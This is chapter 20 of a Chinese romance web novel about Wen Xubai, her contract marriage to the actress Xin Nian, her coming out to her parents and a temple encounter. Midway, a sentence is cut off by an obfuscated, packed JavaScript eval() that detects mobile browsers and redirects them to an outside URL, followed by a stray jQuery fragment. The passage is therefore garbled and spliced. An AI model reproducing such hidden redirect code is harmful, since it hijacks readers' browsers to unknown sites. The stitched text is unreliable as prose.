20.
温煦白并不知道该怎么和辛年相处,久违的局促感在注册那天冒了出来。
她感觉自己又回到刚来到A国,进入都是白人的私立中学的那天。她局促地站在餐厅门口,心中默念了许多遍打气的话后,自然地走近她们,加入了她们。可从心底,温煦白清楚,她与她们并不是一类人。
文化的差异让她永远都无法融入她们的世界。
按理说,在注册成为妻妻后,她们至少应该有一顿像样的饭局,或者稍稍熟悉一下彼此,打破温煦白心底冒出来的、久违的局促。可现实并没有给她们喘息的时间,工作就像是Texara州的飓风一样,来得准时又急促,刚刚成为人妻的温煦白马不停蹄地飞到了A国的另一端,给某个著名演员擦屁股,而辛年也临时接到通知,电影审查不过,她需要返回国内补拍。
就这样,她们的婚礼当天草草结束,“蜜月”也是在双方的工作中度过。
工作始终都是占据人生前几位的,她们彼此都忙,又不是因为真的谈恋爱走到一起注册结婚,所以不亲近也算不上奇怪。
温煦白的局促和惊艳随着时间一点点地被掩埋在心底深处,直至后来,她已经习惯了和辛年不咸不淡,甚至有点陌生的相处。
只是她的爸妈不这么想。
作为家中的独女,温煦白的父母一直对她寄予厚望,不论是工作还是生活。在家里的圣诞聚餐上,爸妈又一次在桌上当着全家所有人的面催着她结婚,说着什么男人就像是食堂的菜,难吃也得先去挑,要不然就只剩下馊了的。这样的话,从18岁就时时刻刻响在耳边,温煦白冷脸听着,神态中第一次流露出了不耐烦。
坐在温煦白身侧的表妹看到她露出这样的神情,低声询问她是不是已经有了自己的爱人,处在怜爱关系中。温煦白倒没有想到表妹会如此猜测,她认真地看了会表妹的神态,最终低声说:“我去年就结婚了。”
“什么!?白白姐,你结婚了!”小表妹的声音又大又清晰,非常利落地砸了餐桌上每一个人的耳中。
温煦白的脑子有瞬间的放空,她本应该张口解释的,可想到了她父母越发激进的催婚态度。索性放下了手中的筷子,认真地擦了擦嘴巴后,真挚地对着父母和亲人朗声道:“是的。我在去年就已经注册结婚了。”
她没有在此刻说明辛年的姓名与身份,她的父母想要问却被她奶奶打岔了过去。
在餐后,温煦白坐在了父母对面。第一次坦白了自己的性取向。
“爸妈,我喜欢女人。”温煦白温声说着。
移民来Texara州这么多年,温煦白的父母也见识到了许多,她们知道男人能和男人恋爱结婚,也知道女人也能和女人恋爱结婚。可她们从来不知道,自己的出色的女儿会喜欢女人。
惊讶、迷茫与无措的情绪在她们的脸上交织,温煦白静静地看着她的父母,没有再说话,只是等着她们消化完毕后,才继续开口。
“我的结婚对象是辛年,是C国的女演员,她演了很多电影。妈妈前段时间看的《里子面子》女主就是她。”温煦白淡声说,“奶奶也知道这件事情。”
这下温家父母更加震惊了,荧幕上看到的女演员竟然成为了自己女儿的妻子?甚至她奶奶竟然也知道这件事情?那为什么要瞒着她们!
在震惊之后,她们没有说接受也没有说反对,只是表示想要见见辛年,见一见是什么样的女人被她们完美的女儿所爱上。
温煦白自然拒绝了她们的要求,理由很简单:工作太忙了,等以后有机会。
可她的父母并不是会轻易放弃的性格,她们几次三番提出见面的要求。
按照约定,她们需要在双方长辈面前装作恩爱的模样。温煦白很清楚,只要自己开口,辛年不会拒绝。可每当她在大荧幕上看见那个风姿卓越的女人时,她总是犹豫。
她是辛年啊。
是那个光鲜到让人几乎睁不开眼的大明星,是那个成就远超同年龄段的女演员,是那个声明显赫到国民度超级高的艺术家。
她不该被拖入这场谎言。
是她提出结婚的,一切过错都在她的身上,她不应该让辛年来趟这趟浑水。父母与辛年的见面在她的斡旋下,被拖延了大半年。可陷入忙碌工作中的温煦白忘记了,她的妈妈是个行动力超级强悍的女人。
当她知道她妈妈会来她申城的家时,辛年刚刚拿下了金橡树奖的最佳女演员。她穿着金色的露肩礼服站在聚光灯下,笑容明艳,星光流转间仿佛整座颁奖大厅都因她而闪烁。
哪怕隔着屏幕,温煦白都好似能够感受到辛年发自内心的喜悦,她忍不住勾唇,本想立刻发去祝贺的消息,却被临时插入的会议打断,等落地忙完工作,时间已经到了凌晨四点。
鬼使神差的,她还是把消息发了出去。
让她意外的是,辛年几乎秒回。
开口是件困难的事。尤其是身为半个圈内人,温煦白知晓辛年夺下金橡树影后以后,未来的时间将被无数合约与邀约分割得七零八落。然而她妈妈马上就要赶来申城,若是让她察觉到两人并无感情,她必然会当场发飙,逼自己离婚、逼自己相亲、逼自己回农场继承那片无趣的土地。
温煦白不想过那样的人生,哪怕和辛年不熟悉,甚至是陌生,但总比家里安排的相亲对象要好上太多太多。
于是,她开口了。
而辛年,意外地爽快。几乎没犹豫,就飞来了申城。
温煦白所在的行业会和各种各样的演员模特接触,她平日里也见惯了漂亮的女人、男人们。那些人五官精致、举止得体,每个人都有着鲜明的个人特色,可从始至终没有一个人能够给温煦白惊艳的感觉。
只有辛年。
注册那天是,接机这天也是。
阴雨连绵的申城,人来人往的红桥机场,在灯光冷白的人潮中,辛年的出现就好像把浓云撕开了一道口子。她穿着十分简约的底衫与长裤,白色的口罩遮住了大半张脸,可属于她的气场实在过分卓越,目光所及,周遭空气都因此而亮了几分。
演员们对外的人设往往与真实性格大不相同,辛年的地位咖位摆在那里,业内也有传言说她和她的团队不是那么好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431139|184910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相处的类型,都是十分有自己的审美和主观性的存在。
温煦白原本也有所准备,想好了应该如何与辛年相处,可她没想到,辛年会如此配合,她不动声色地就接受了她的安排,积极配合着她的想法,甚至细致地替她考虑该如何瞒过妈妈。
辛年是个很好的合作伙伴。她敏锐、沉静,漂亮得几乎让人忽略掉她偶尔冒出来的冷冽。只是她有些过分敏锐。
她敏锐地发现了温煦白在妥帖的外表下隐藏起来的惴惴不安,她不喜欢温煦白表现出来的过度体贴,也不喜欢温煦白擅自越过那条界线。
温煦白被她看穿的一瞬,竟有些莫名的放松。能够只身一人在娱乐圈内摸爬滚打走到今天的,辛年不只是演技出众,更重要的是她聪明,有情商,懂得察言观色,也懂得保护自己。
她们两个在妈妈面前并没有露出太多的破绽,几乎是天衣无缝。如果非要说有什么不对,那就是在辛年亲吻了她以后,她愣在原地的神情。
辛年在轻轻拥抱了她以后,忽然低下头,极轻极快地吻了她。
那个吻实在太轻,太突然了。让本就寡言的温煦白顿时失去了一切言语的余地,只能眼睁睁地看着辛年的面容一点点被电梯所遮掩,直至消失在自己的面前。
温煦白不在乎初吻不初吻的,但是那是辛年吻了自己。她说不上来自己是因为被亲吻而心脏疯狂跳动,还是因为对方是辛年。她想要问问辛年,可话到嘴边又不知该如何开口。
直到辛年发来消息。
抱歉,职业病。
职业病。辛年是女演员,她的身体不属于她自己,是属于角色的。这是她在很多年前的采访时所说。那当时她的亲吻也不是出于她自己,而是温煦白妻子的角色。
想明白这点,不规律跳动的心脏重新变得沉稳起来。温煦白没有再回复辛年,她们好似重新恢复了妈妈没有来之前的状态。只是没想到,她会在净音寺再次看到她。
她站在殿门口,暮鼓低沉,香烟袅袅。金色的佛像高悬在辛年的背后,将她高挑纤细的身影衬托得渺小极了。可当她抬眸时,明艳的面容却有着一双懵懂的眼睛,她的视线瞥了过来。
视线隔着香烟短暂地交汇在一处。
这样的眼神……
温煦白的胸腔骤然一紧。
是她。
记忆中那个一闪而过的女孩,是她。
温煦白很难说自己的内心是什么样的想法,她第一次感受到了世界的荒谬。在这种时候,她没有办法沉下心来,她只能机械地告诉她:不用为亲了她而感到抱歉,同时言明妈妈给她留了礼物。
她清晰地看到了辛年目光中的疏离,可她什么都不能做。她越过了辛年,走到殿中,站在高大的佛前,双手合十,询问佛祖:
“是她,对吗?”
佛祖用风声吹动了铜铃,好似回答了她的问题。
那一刻,温煦白几乎站立不稳。她很想回身,再看她一眼,去确认下她就是记忆中的那个人。可她只是闭着眼,再度询问着垂眸悲悯看向世人的神佛。
“是她,对吧。”